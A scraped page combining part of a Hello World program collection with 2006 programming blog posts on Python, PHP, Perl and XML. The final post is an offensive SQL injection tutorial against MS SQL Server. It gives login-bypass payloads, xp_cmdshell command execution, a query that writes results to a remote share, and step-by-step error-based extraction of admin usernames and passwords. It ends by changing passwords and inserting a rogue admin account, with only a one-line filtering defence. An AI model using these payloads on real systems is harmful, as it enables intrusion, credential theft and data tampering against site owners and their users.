! Hello World in Fortran 90 and 95

PROGRAM HelloWorld
WRITE(*,*) "Hello World!"
END PROGRAM


Back to index


FortranIV



PROGRAM HELLO
c
C Hello World in Fortran IV (supposedly for a TR440)
c
WRITE (6,'('' Hello World!'')')
END

Back to index


Frink



// Hello World in Frink

println["Hello World!"]


Back to index


G-Code


Hello World in "G Code" for CNC machines.


Click
here for a preview.


%
O1000
(PROGRAM NAME - HELLOWORLD)
(DATE=DD-MM-YY - 30-06-05 TIME=HH:MM - 19:37)
N10G20
N20G0G17G40G49G80G90
/N30G91G28Z0.
/N40G28X0.Y0.
/N50G92X0.Y0.Z0.
( 1/16 FLAT ENDMILL TOOL - 1 DIA. OFF. - 1 LEN. - 1 DIA. - .0625)
(CONTOUR)
N60T1M6
N70G0G90X0.Y1.A0.S5000M3
N80G43H1Z.5
N90Z.25
N100G1Z-.005F2.
N110Y0.F20.
N120G0Z.5
N130X.5
N140Z.25
N150G1Z-.005F2.
N160Y1.F20.
N170G0Z.5
N180Y.6106
N190Z.25
N200G1Z-.005F2.
N210X0.F20.
N220G0Z.5
N230X.6157Y.4712
N240Z.25
N250G1Z-.005F2.
N260X.6039Y.4135F20.
N270X.6Y.351
N280X1.1
N290G3X1.0098Y.6202R.4333
N300X.8941Y.6971R.2625
N310X.7255Y.6538R.1837
N320X.6157Y.4712R.332
N330G0Z.5
N340X.6Y.351
N350Z.25
N360G1Z-.005F2.
N370X.6039Y.2885F20.
N380G3X.7255Y.0481R.385
N390X.9745R.1853
N400X1.0843Y.2308R.332
N410G0Z.5
N420X1.2039Y0.
N430Z.25
N440G1Z-.005F2.
N450Y1.F20.
N460G0Z.5
N470X1.3098
N480Z.25
N490G1Z-.005F2.
N500Y0.F20.
N510G0Z.5
N520X1.4706Y.125
N530Z.25
N540G1Z-.005F2.
N550X1.502Y.0817F20.
N560G3X1.6176Y.0048R.2625
N570X1.7863Y.0481R.1837
N580X1.9118Y.351R.3957
N590X1.8216Y.6202R.4333
N600X1.7059Y.6971R.2625
N610X1.5373Y.6538R.1837
N620X1.4157Y.4135R.358
N630X1.4706Y.125R.4611
N640G0Z.5
N650X1.9853Y0.
N660Z.25
N670G1Z-.005F2.
N680X2.0422Y.1442F20.
N690G0Z.5
N700X2.5706Y1.
N710Z.25
N720G1Z-.005F2.
N730X2.6961Y0.F20.
N740X2.8216Y1.
N750X2.9451Y0.
N760X3.0706Y1.
N770G0Z.5
N780X3.2961Y.6538
N790Z.25
N800G1Z-.005F2.
N810X3.2608Y.6202F20.
N820G3X3.1745Y.2885R.4408
N830X3.2961Y.0481R.385
N840X3.5451R.1853
N850X3.6706Y.351R.3957
N860X3.5804Y.6202R.4333
N870X3.4647Y.6971R.2625
N880X3.2961Y.6538R.1837
N890G0Z.5
N900X3.7461Y.7019
N910Z.25
N920G1Z-.005F2.
N930Y0.F20.
N940G0Z.5
N950Y.3654
N960Z.25
N970G1Z-.005F2.
N980X3.7637Y.4663F20.
N990G2X3.8422Y.6587R.4948
N1000X3.9167Y.7019R.0929
N1010G1X4.0755
N1020G2X4.15Y.6587R.0929
N1030X4.1951Y.5769R.246
N1040G0Z.5
N1050X4.3255Y1.
N1060Z.25
N1070G1Z-.005F2.
N1080Y0.F20.
N1090G0Z.5
N1100X4.9275
N1110Z.25
N1120G1Z-.005F2.
N1130Y1.F20.
N1140G0Z.5
N1150X5.0314
N1160Z.25
N1170G1Z-.005F2.
N1180Y.2981F20.
N1190G0Z.5
N1200X4.9275Y.274
N1210Z.25
N1220G1Z-.005F2.
N1230X4.8941Y.1731F20.
N1240G2X4.7627Y.0192R.3255
N1250X4.5529Y.0481R.1862
N1260X4.4314Y.2885R.358
N1270X4.5176Y.6202R.4408
N1280X4.6333Y.6971R.2625
N1290X4.802Y.6538R.1837
N1300X4.8941Y.5288R.3457
N1310G1X4.9275Y.4279
N1320G0Z.5
N1330X5.0314Y.149
N1340Z.25
N1350G1Z-.005F2.
N1360Y0.F20.
N1370G0Z.5
N1380M5
N1390G91G28Z0.
N1400G28X0.Y0.A0.
N1410M30
%


Back to index



Gambas



'************************************
' Hello world in Gambas
'************************************
PUBLIC SUB Main()

PRINT "Hello World"

END

Back to index


Gentee-simple



// Hello World in Gentee (simple version)

func hello
: @"Hello, World!"


Back to index


Gentee



// Hello World in Gentee

func hello

{
print( "Hello, World!" )
getch()
}

Back to index


Gofer




-- Hello World in Gofer
-- Simple version

helloWorld:: String
helloWorld = "Hello World!\n"


-- Hello World in Gofer
-- Dialog version

helloWorld :: Dialogue
helloWorld resps = [AppendChan stdout "Hello world!"]

Back to index


Gri



# Hello World in Gri
show "hello world"

Back to index


Groovy



// Hello World in Groovy

println "Hello World"


Back to index


GynkoSoft



; Hello World in GynkoSoft
; Simple version
0.00 Protocol "Hello, World!"


; Hello World in GynkoSoft
; Dialog box output
0.00 Message "Hello, World!"

Back to index


Haskell



-- Hello World in Haskell

module Hello where
hello::String
hello = "Hello World!"


Back to index


HDX



# Hello World as bdehaldia.exe external command

proc hdx_info {} {
set ::Titel "&Hello World"
set ::Menu GMA
}

proc hdx_run {} {
tk_messageBox -type ok -message "Hello World!"
destroy .
}

Back to index


HP-41C



Hello World for the HP 41C. No comment character exists.

01 LBL "HELLO"
02 "HELLO WORLD"
03 AVIEW


Back to index


HP-48



<<
@ Hello World for the HP-48
@ << and >> are one char each
"HELLO WORLD"
>>

Back to index



HQ9+



Hello World in HQ9+ and HQ9++. No comment character exists.

H

Back to index


HTML







Hello World!


Hello World!



Back to index



Human


Hello World in human languages.






























































Armenian Բարե՛ւ,
աշխարհ։
(barev ash'kharh)
Azeri Salam Dünya
Czech Ahoj Světe!
Basque/Euskara Kaixo mundua!
Belarusian
(Pryvitan'ne, Swet!)
Bengali Shagatam Prithivi!
Bosnian Zdravo Svijete!
Brazilian Portuguese Oi mundo!
Bulgarian

(Zdrav'ei svi'at)
Catalan Hola món!
Chinese
(ni hao shi jie)
Croatian Bok Svijete!
Danish Hej, Verden!
Dutch Hallo, wereld!
English Hello World!
Estonian Tere maailm!
Finnish Hei maailma!
French Salut le Monde!
Frisian Hallo, wrâld!
Galician Ola mundo!
German Hallo Welt!
Greek Γεια σου κόσμε!
(Geia soy kosme)
Hebrew

(Shalom Olam)
Hindi
(namaste duniya)
Hungarian Szia Vilag!
Indonesian Halo Dunia!
Irish Dia dhaoibh, a dhomhain!
Italian Ciao Mondo!
Japanese
(konnichiwa sekai)
Kannada
(namaste prapancha)
Korean
(annyeong, sesangah)
Latvian Sveika, Pasaule!
Lithuanian Sveikas, Pasauli
Malagasy Manao ahoana ry tany!
Norwegian Hallo Verden!
Polish Witaj, Swiecie!
Portuguese Ola mundo!
Romanian Salut lume!
Russian
(Zdra'vstvuj mi'r)
Serbian Zdravo Svete!
Slovak Ahoj, svet!
Slovenian Pozdravljen svet!
Spanish ¡Hola mundo!
Swedish Hejsan värld!
Tamil
(Vanakkam Ulake!)
Turkish Merhaba Dünya!
Ukrainian
(Pryvi't svi'te)



Back to index



HyperTalk



-- Hello World in HyperTalk

answer "Hello, world!"


Back to index


IBM-Exec



Hello World for IBM EXEC (under VM/CMS)

&CONTROL
*
&TYPE Hello World!
*
&EXIT 0

Back to index



IBM-Exec2



Hello World for IBM EXEC2 (under VM/CMS)

&TRACE OFF
*
&TYPE Hello World!
*
&EXIT 0

Back to index


ici




# Hello World in ici (http://www.zeta.org.au/~atrn/ici/)
printf("Hello World!\n");

Back to index


Icon



# Hello world in Icon (http://www.cs.arizona.edu/icon/)

procedure main()
write("Hello world")
end

Back to index


IDC




// Hello World in IDC-script language for IDA disaasembler

#include

static main(void)
{
Message("Hello World!");
}

Back to index


IDL



IDL> ; Hello World in IDL (Interactive Data Language)
IDL> print, "Hello World"


Back to index


Inform



! "Hello world" in Inform
[ Main;
print "Hello world^";
];

Back to index


Informix-4GL



# Hello World in Informix 4GL

MAIN

DISPLAY "Hello World"

END MAIN


Back to index


Ingres-ABF



/* Hello World in Ingres ABF */
procedure hello =
begin
message 'Hello, World' with style=popup;
end

Back to index


InstallScript



// Hello World in InstallScript
// (Scripting language of InstallShield, a Windows install generator)

program
MessageBox("Hello World!",INFORMATION);
endprogram

Back to index



Intercal



HELLO WORLD IN INTERCAL NOT FORTRAN

HELLO WORLD

Back to index


Io



// Hello World in io programming language
"Hello world!" print

Back to index



Jako



# Hello World in Jako

use sys;

sys::print("Hello, world!\n");

Back to index


Java



// Hello World in Java

import java.io.*;
class HelloWorld {
static public void main( String args[] ) {
System.out.println( "Hello World!" );
}
}

Back to index



Java-Mobile



// Hello World on a mobile Java device

package helloworld;

import javax.microedition.midlet.*;
import javax.microedition.lcdui.*;

public class HelloWorld extends MIDlet {

public HelloWorld()
{
Form form = new Form("Hello World");
form.append("Hello world!");
Display.getDisplay(this).setCurrent(form);
}

protected void pauseApp() { }
protected void startApp() throws
javax.microedi

Credits

No Comments





Automated Dial-Out Script - Python
November 01 2006 @ 02:46 AM

The following program, uses a list of integers to keep track of which modems are locked, glob.glob to do filename expansion, and os.system to run a kermit command when a free modem has been found

#!/usr/bin/env python
# find a free modem to dial out on
import glob, os, string
LOCKS = "/var/spool/locks/"
locked = [0] * 10
for lockname in glob.glob(LOCKS + "LCK*modem*"): # find locked modems
print "Found lock:", lockname
locked [string.atoi(lockname[-1])] = 1 # 0..9 at end of name
print 'free:'
for i in range (10): # report, dial-out
if not locked[i]: print i,
print
for i in range(10):
if not locked [i]:
if raw_input ("Try %d? " % i) == 'y':
os.system ("kermit -m hayes -l /dev/modem%d -b 19200 -s" % i)
if raw_input ("More? ") != 'Y': break

The program above works only if there are 10 or fewer modems; if there are more, you'd need to use larger lists and loops, and parse the lock filename, not just look at its last character.

No Comments





Attacking XML
October 31 2006 @ 04:38 AM

If you are unfamiliar with XML, you will quickly realize that it is a mark-up language very similar to HTML. You can perform the same attacks against XML as you would against an ASP file that you suspect is vulnerable to a SQL injection attack. However, instead of throwing spurious tick characters in a URL parameter, you must modify the POST data sent by the XML service. Look at this very simple XML request. This example code makes a POST to a web application in order to view user profile. In response, the web application returns XML-formatted data that contains e-mail address, home address, and phone number.

POST /foo/ViewProfile HTTP/1.0
Content-Type: text/xml
Content-length: 95


User



Perform an impersonation attack by replacing user with user-1. You would perform an input validation attack by replacing user withAAAAAAAAAAA.You would perform a SQL injection attack by appending a tick (‘) to user. So, the methodology is the same, only the attack vector has differed. There might be some other tests to try against this example. We see that there is a method. Well, what if we submit a request
that uses a method? Perhaps one can modify an arbitrary user’s information. Both the GetProfile and SetProfile, if it exists, should be defined in the application’s *.wsdl file.

No Comments





History of PHP
October 31 2006 @ 03:22 AM

PHP/FI

PHP succeeds an older product, named PHP/FI. PHP/FI was created by Rasmus Lerdorf in 1995, initially as a simple set of Perl scripts for tracking accesses to his online resume. He named this set of scripts 'Personal Home Page Tools'. As more functionality was required, Rasmus wrote a much larger C implementation, which was able to communicate with databases, and enabled users to develop simple dynamic Web applications. Rasmus chose to release the source code for PHP/FI for everybody to see, so that anybody can use it, as well as fix bugs in it and improve the code.

PHP/FI, which stood for Personal Home Page / Forms Interpreter, included some of the basic functionality of PHP as we know it today. It had Perl-like variables, automatic interpretation of form variables and HTML embedded syntax. The syntax itself was similar to that of Perl, albeit much more limited, simple, and somewhat inconsistent. PHP/FI 2.0 was officially released only in November 1997, after spending most of its life in beta releases. It was shortly afterwards succeeded by the first alphas of PHP 3.0.


PHP 3

PHP 3.0 was the first version that closely resembles PHP as we know it today. It was created by Andi Gutmans and Zeev Suraski in 1997 as a complete rewrite, after they found PHP/FI 2.0 severely underpowered for developing an eCommerce application they were working on for a University project. In an effort to cooperate and start building upon PHP/FI's existing user-base, Andi, Rasmus and Zeev decided to cooperate and announce PHP 3.0 as the official successor of PHP/FI 2.0, and development of PHP/FI 2.0 was mostly halted. PHP 3.0 was officially released in June 1998, after having spent about 9 months in public testing.


PHP 4

By the winter of 1998, shortly after PHP 3.0 was officially released, Andi Gutmans and Zeev Suraski had begun working on a rewrite of PHP's core. The design goals were to improve performance of complex applications, and improve the modularity of PHP's code base. Such applications were made possible by PHP 3.0's new features and support for a wide variety of third party databases and APIs, but PHP 3.0 was not designed to handle such complex applications efficiently.


PHP 5

PHP 5 was released in July 2004 after long development and several pre-releases. It is mainly driven by its core, the Zend Engine 2.0 with a new object model

No Comments





Nesting 2 forms and submit - PHP
October 30 2006 @ 02:20 AM

Here is a way to nest 2 forms and 2 submit buttons, this is PHP. This can be done without functions and only with a if statment.

if($_POST['xxx'] == "xxx name"){

//------- anything can be here

}

if ($_POST["yyy_name"] == "yyy" && $_POST['xxx'] == NULL) {

//------- anything can be here

}

form name="form_for_xxx
form name="form_for_yyy

input type="submit" name="yyy_name" value="yyy"
/form

input type="submit" value="xxx name" name="xxx"
/form


1 Comment





Useful PHP network-related functions
October 18 2006 @ 02:27 AM

getmxrr ($hostname, $mxhosts)

This function is used to retrieve the names of MX (mail exchanger) hosts for a particular host.

Use this function to identify the mail hosts for a domain, typically as a prelude to verifying a mailbox on that domain.

Code:
$hosts = array();
$ret = getmxrr('techrepublic.com', $hosts);
if ($ret) {
print_r($hosts);
} else {
echo 'MX retrieval failed';
}
?>

Output:
Array (
[0] => c10-mail.cnet.com
[1] => c12-mail.cnet.com
)


gethostbyaddr($ip)

This function is used to retrieve the host name associated with an IP.
Use this function to perform a reverse DNS lookup and put a name to an IP address - for example, the IP addresses recorded in your Web server logs.

Code:
echo gethostbyaddr('216.239.115.148');
?>

Output:
c10-sha-redirect-lb.cnet.com



gethostbyname($name)

This function does the reverse of gethostbyaddr(), retrieving the IP address associated with a host name.
Use this function to perform a standard DNS lookup and get the IP address associated with a host name - for example, when automatically blacklisting suspicious domains.

Code:
echo gethostbyname('techrepublic.com');
?>

Output:
216.239.115.148


ip2long($ip) and long2ip($long)

These functions convert IP addresses in dotted-quad notation to long integers, or the other way around.
Use these functions when you need to represent IP addresses in integer format (typically for numerical calculations), or vice-versa.
Code:
echo ip2long('216.239.115.148');
echo long2ip(-655395948);
?>

Output:
-655395948
216.239.115.148


checkdnsrr ($host, $type)

This function checks the DNS for records corresponding to type $type for host $host and returns Boolean true if found.
Use this function to evaluate whether a particular type of DNS record exists for a host.

Code:
$ret = checkdnsrr('techrepublic.com', SOA);
if ($ret) {
echo 'SOA records exist for host';
} else {
echo 'SOA records do not exist for host';
}
?>

Output:
SOA records exist for host



dns_get_record($host, $type)

This function returns the DNS record for host $host. The optional $type parameter can be used to retrieve only those subsets matching a specified type.

Use this function to retrieve detailed DNS records for a particular host.
Code:
$data = dns_get_record('techrepublic.com');
print_r($data);
?>

Output:
Array
(
[0] => Array
(
[host] => techrepublic.com
[type] => MX
[pri] => 500
[target] => c10-mail.cnet.com
[class] => IN
[ttl] => 10756
)

[1] => Array
(
[host] => techrepublic.com
[type] => NS
[target] => ns3.cnet.com
[class] => IN
[ttl] => 7885
)

)



getprotobyname($num) and getprotobynum($name)

These functions retrieve protocol names and numbers from the system-wide /etc/protocols file.
Use this function to retrieve system protocol information, either by name or number.

Code:
echo getprotobyname(81);
echo getprotobyname('icmp');
?>

Output:
vmtp
1

getservbyname ($service, $protocol)

This function is used to retrieve the port number for the service $service using the protocol $protocol, from the system-wide /etc/services file.

Use this function to dynamically obtain information on ports for running system services.
Code:
echo getservbyname('http', 'tcp');
?>

Output:
80


inet_ntop($addr) and inet_pton($addr)

These functions unpack and pack IP addresses between binary format and human-readable addresses.
Use this function to convert between IPv4/IPv6 address strings and binary representation.

Code:
$packed = inet_pton('192.168.0.1');
$unpacked = inet_ntop($packed);
echo $unpacked;
?>

Output:
192.168.0.1

syslog($level, $msg)

This function logs the message $msg to the system logging device with warning level $level.
Use this function to issue system-wide errors or alerts.

Code:
define_syslog_variables();
openlog('mylog', LOG_NDELAY, LOG_LOCAL0);
syslog(LOG_DEBUG, 'This is a debug message');
closelog();
?>



No Comments





Perl Tips And Tricks
October 18 2006 @ 12:08 AM

1) Want to know what OS you are running under? Check the $^O variable. Under Windows it may contain "MSWin32", under Linux it simply contains "linux".



2) Want to know how long your script has been running to the nearest second? $^T contains the time your script started, so simply subtract it from the current time.

$runningfor = time - $^T;

Note that this is only accurate to the nearest second, so it is not much use for short lived scripts.



3) Need a fast way of getting rid of the second half of an array? Simply divide $#array by two, where array is the name of the @array.

$#array /= 2;

Naturally, other arithmetic operations on $#array will work too.



4) A quick way to set a variable to a default value if it evaluates to false is to use the ||= operator.

$color ||= 'black';

Will set $color to black if it is empty, undefined or contains zero. Otherwise it will retain its original value.



5) Ever fancied a one-liner to dump a hash?

print "$_ = $hash{$_}\n" for (sort keys %hash);

If you don't care whether the hash keys are sorted, remove the sort keyword.



6) Want to assign to the next available value of an array? Evaluating an array in scalar context gives the number of elements in the array, and as arrays are base 0 you can write:-

$array[@array] = 'What to add';

Alternatively, this could be done using push:

push @array, 'What to add';

Which is more readable.



7) Want to use warnings, but have some code that won't run under the pragma? Simply turn them off for that bit of code by putting:-

no warnings;

To turn them back on, just put "use warnings;" again. This works for other pragmatic modules, including "strict".



8) You can check the syntax of your script at the command line by typing:-

perl -c yourscript.pl



9) Need to give Perl a hint about where your module files might be? Simply do this:-

use lib '/home/mymodules';



10) When doing a pattern match, you sometimes want to use brackets to group things, but prevent them from capturing. The capturing can be stopped by putting ?: after the opening bracket, e.g.

/a (?:black|grey|white) cat/



11) When you bind a variable to a substitution, the expression as a whole will return the number of substitutions made, e.g.

$replacements =$myvar =~s/foo/bar/g;



12) Want to count the number of times $word appears in $text?

my $numtimes = 0;
$numtimes++ while ($text =~ /\b $word \b/gx));



13) Want to make a table of the number of times each word in $text appears?

my %words = ();
$words{lc($_)}++ for $text =~ /\b([\w']+)\b/g;

Each key of the %words hash will be a word in $text, and the value is the number of times that word appeared.



14) Does your pattern look like an unreadable mess? Use the x modifier and you can put spaces, newlines and comments in your pattern, and they will be ignored when the pattern is compiled.



15) Turn "ThisTextWithoutSpaces" into "This Text Without Spaces" like this:-

$text =~ s/([a-z])([A-Z])/$1 $2/g;



16) Look up the documentation on a Perl module (those installed on your system) at the command line using the perldoc command, e.g.

perldoc CGI



17) If you are doing many pattern matches on a particular string, you may be able to improve performance by having Perl study the string first, e.g.

study $string;
#Now do lots of pattern matches on $string...

Another optimisation if your pattern contains a variable that will remain constant is to add the "o" modifier, which only compiles the pattern the first time it is matched.



18) Get the size of a file in bytes quickly like this:-

$size = -s "path/to/file.txt";



19) Running Windows? Got a file with UNIX line endings? Let Perl lend you hand. Drop to the console and put:-

perl -ne "s/\n/\r\n/; print;" Original.txt > Fixed.txt

Using appropriate file names.



20) Got a chunk of obfuscated or just plain messy and hard to read Perl code? The Deparse module may be able to help. It compiles, then decompiles the program it is given, expanding it out and formatting it nicely. To run it at the command line, type "perl -MO=Deparse prog.pl". Here is an example of its usage, showing the input program (red) and the output of Deparse (blue).

$ cat scary.pl
for(74,117,115,116){$::a.=chr};(($_.='qwertyui')&&
(tr/yuiqwert/her anot/))for($::b);for($::c){$_.=$^X;
/(p.{2}l)/;$_=$1}$::b=~/(..)$/;print("$::a$::b $::c hack$1.");
$ perl -MO=Deparse scary.pl
foreach $_ (74, 117, 115, 116) {
$a .= chr $_;
}
;
$_ .= 'qwertyui' and tr/eiqrtuwy/nr oteah/ foreach ($b);
foreach $_ ($c) {
$_ .= $^X;
/(p.{2}l)/;
$_ = $1;
}
$b =~ /(..)$/;
print "$a$b $c hack$1.";


No Comments





Run Perl 6 in your browser
October 17 2006 @ 01:04 AM

You read right you can now run perl 6 in your browser, and its amazing

Here is some info that you should know

Instructions: runpugs presents the pugs interactive shell. Only the line typed at the last prompt is sent to pugs. Type :h for help, :q to quit.
Please be considerate and do close your pugs session with :q before you close the browser window.
Type clear to clear the web terminal (this command is not sent to pugs).

Because this is a web terminal, a number of restrictions apply:

* pugs shell runs in safe mode, so system-related calls are disabled.
* If a call takes too long, the pugs session will time out.
* If left idle for too long, the pugs session will time out.
* The total number of sessions and number of sessions from a given IP address are limited.
* Memory available to pugs is severely limited.

The current values relating to the above restrictions are:

* Total number of sessions: 50
* Inactivity time-out: 10 minutes
* "Long" call time-out: 10 seconds
* Sessions per IP: 10
* Available memory: 64M.

All of these are open to change if they would prove to be too restrictive.

runpugs is a very young project, and there will certainly be some bugs. Some known issues are:

* Unicode is not supported.
* There is no command history.


No Comments





SQL Injection
October 16 2006 @ 12:52 AM

1 Introduction
When a machine has only port 80 opened, your most trusted vulnerability scanner cannot return anything useful, and you know that the admin always patch his server, we have to turn to web hacking. SQL injection is one of type of web hacking that require nothing but port 80 and it might just work even if the admin is patch-happy. It attacks on the web application (like ASP, JSP, PHP, CGI, etc) itself rather than on the web server or services running in the OS.

1 What is SQL Injection?
It is a trick to inject SQL query/command as an input possibly via web pages. Many web pages take parameters from web user, and make SQL query to the database. Take for instance when a user login, web page that user name and password and make SQL query to the database to check if a user has valid name and password. With SQL Injection, it is possible for us to send crafted user name and/or password field that will change the SQL query and thus grant us something else.

1.2 What do you need?
Any web browser.

2.0 What you should look for?
Try to look for pages that allow you to submit data, i.e: login page, search page, feedback, etc. Sometimes, HTML pages use POST command to send parameters to another ASP page. Therefore, you may not see the parameters in the URL. However, you can check the source code of the HTML, and look for "FORM" tag in the HTML code. You may find something like this in some HTML codes:




Everything between the
and
have potential parameters that might be useful (exploit wise).


2.1 What if you can't find any page that takes input?
You should look for pages like ASP, JSP, CGI, or PHP web pages. Try to look especially for URL that takes parameters, like:

http://duck/index.asp?id=10

3.0 How do you test if it is vulnerable?
Start with a single quote trick. Input something like:

hi' or 1=1--

Into login, or password, or even in the URL. Example:
- Login: hi' or 1=1--
- Pass: hi' or 1=1--
- http://duck/index.asp?id=hi' or 1=1--

If you must do this with a hidden field, just download the source HTML from the site, save it in your hard disk, modify the URL and hidden field accordingly. Example:





If luck is on your side, you will get login without any login name or password.

3.1 But why ' or 1=1--?
Let us look at another example why ' or 1=1-- is important. Other than bypassing login, it is also possible to view extra information that is not normally available. Take an asp page that will link you to another page with the following URL:

http://duck/index.asp?category=food

In the URL, 'category' is the variable name, and 'food' is the value assigned to the variable. In order to do that, an ASP might contain the following code (OK, this is the actual code that we created for this exercise):

v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)

As we can see, our variable will be wrapped into v_cat and thus the SQL statement should become:

SELECT * FROM product WHERE PCategory='food'

The query should return a resultset containing one or more rows that match the WHERE condition, in this case, 'food'.

Now, assume that we change the URL into something like this:

http://duck/index.asp?category=food' or 1=1--

Now, our variable v_cat equals to "food' or 1=1-- ", if we substitute this in the SQL query, we will have:

SELECT * FROM product WHERE PCategory='food' or 1=1--'

The query now should now select everything from the product table regardless if PCategory is equal to 'food' or not. A double dash "--" tell MS SQL server ignore the rest of the query, which will get rid of the last hanging single quote ('). Sometimes, it may be possible to replace double dash with single hash "#".

However, if it is not an SQL server, or you simply cannot ignore the rest of the query, you also may try

' or 'a'='a

The SQL query will now become:

SELECT * FROM product WHERE PCategory='food' or 'a'='a'

It should return the same result.

Depending on the actual SQL query, you may have to try some of these possibilities:

' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a

4.0 How do I get remote execution with SQL injection?
Being able to inject SQL command usually mean, we can execute any SQL query at will. Default installation of MS SQL Server is running as SYSTEM, which is equivalent to Administrator access in Windows. We can use stored procedures like master..xp_cmdshell to perform remote execution:

'; exec master..xp_cmdshell 'ping 10.10.1.2'--

Try using double quote (") if single quote (') is not working.

The semi colon will end the current SQL query and thus allow you to start a new SQL command. To verify that the command executed successfully, you can listen to ICMP packet from 10.10.1.2, check if there is any packet from the server:

#tcpdump icmp

If you do not get any ping request from the server, and get error message indicating permission error, it is possible that the administrator has limited Web User access to these stored procedures.

5.0 How to get output of my SQL query?
It is possible to use sp_makewebtask to write your query into an HTML:

'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

But the target IP must folder "share" sharing for Everyone.

6.0 How to get data from the database using ODBC error message
We can use information from error message produced by the MS SQL Server to get almost any data we want. Take the following page for example:

http://duck/index.asp?id=10

We will try to UNION the integer '10' with another string from the database:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

The system table INFORMATION_SCHEMA.TABLES contains information of all tables in the server. The TABLE_NAME field obviously contains the name of each table in the database. It was chosen because we know it always exists. Our query:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-

This should return the first table name in the database. When we UNION this string value to an integer 10, MS SQL Server will try to convert a string (nvarchar) to an integer. This will produce an error, since we cannot convert nvarchar to int. The server will display the following error:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int.
/index.asp, line 5

The error message is nice enough to tell us the value that cannot be converted into an integer. In this case, we have obtained the first table name in the database, which is "table1".

To get the next table name, we can use the following query:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--

We also can search for data using LIKE keyword:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int.
/index.asp, line 5

The matching patent, '%25login%25' will be seen as %login% in SQL Server. In this case, we will get the first table name that matches the criteria, "admin_login".

6.1 How to mine all column names of a table?
We can use another useful table INFORMATION_SCHEMA.COLUMNS to map out all columns name of a table:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int.
/index.asp, line 5

Now that we have the first column name, we can use NOT IN () to get the next column name:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int.
/index.asp, line 5

When we continue further, we obtained the rest of the column name, i.e. "password", "details". We know this when we get the following error message:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.
/index.asp, line 5

6.2 How to retrieve any data we want?
Now that we have identified some important tables, and their column, we can use the same technique to gather any information we want from the database.

Now, let's get the first login_name from the "admin_login" table:

http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int.
/index.asp, line 5

We now know there is an admin user with the login name of "neo". Finally, to get the password of "neo" from the database:

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int.
/index.asp, line 5

We can now login as "neo" with his password "m4trix".

6.3 How to get numeric string value?
There is limitation with the technique describe above. We cannot get any error message if we are trying to convert text that consists of valid number (character between 0-9 only). Let say we are trying to get password of "trinity" which is "31173":

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--

We will probably get a "Page Not Found" error. The reason being, the password "31173" will be converted into a number, before UNION with an integer (10 in this case). Since it is a valid UNION statement, SQL server will not throw ODBC error message, and thus, we will not be able to retrieve any numeric entry.

To solve this problem, we can append the numeric string with some alphabets to make sure the conversion fail. Let us try this query instead:

http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--

We simply use a plus sign (+) to append the password with any text we want. (ASSCII code for '+' = 0x2b). We will append '(space)morpheus' into the actual password. Therefore, even if we have a numeric string '31173', it will become '31173 morpheus'. By manually calling the convert() function, trying to convert '31173 morpheus' into an integer, SQL Server will throw out ODBC error message:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.
/index.asp, line 5

Now, you can even login as 'trinity' with the password '31173'.

7.0 How to update/insert data into the database?
When we successfully gather all column name of a table, it is possible for us to UPDATE or even INSERT a new record in the table. For example, to change password for "neo":

http://duck/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--

To INSERT a new record into the database:

http://duck/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--

We can now login as "neo2" with the password of "newpas5".

8.0 How to avoid SQL Injection?
Filter out character like single quote, double quote, slash, back slash, semi colon, extended character like NULL, carry return, new line, etc, in all strings from:
- Input from users
- Parameters from URL
- Values from cookie

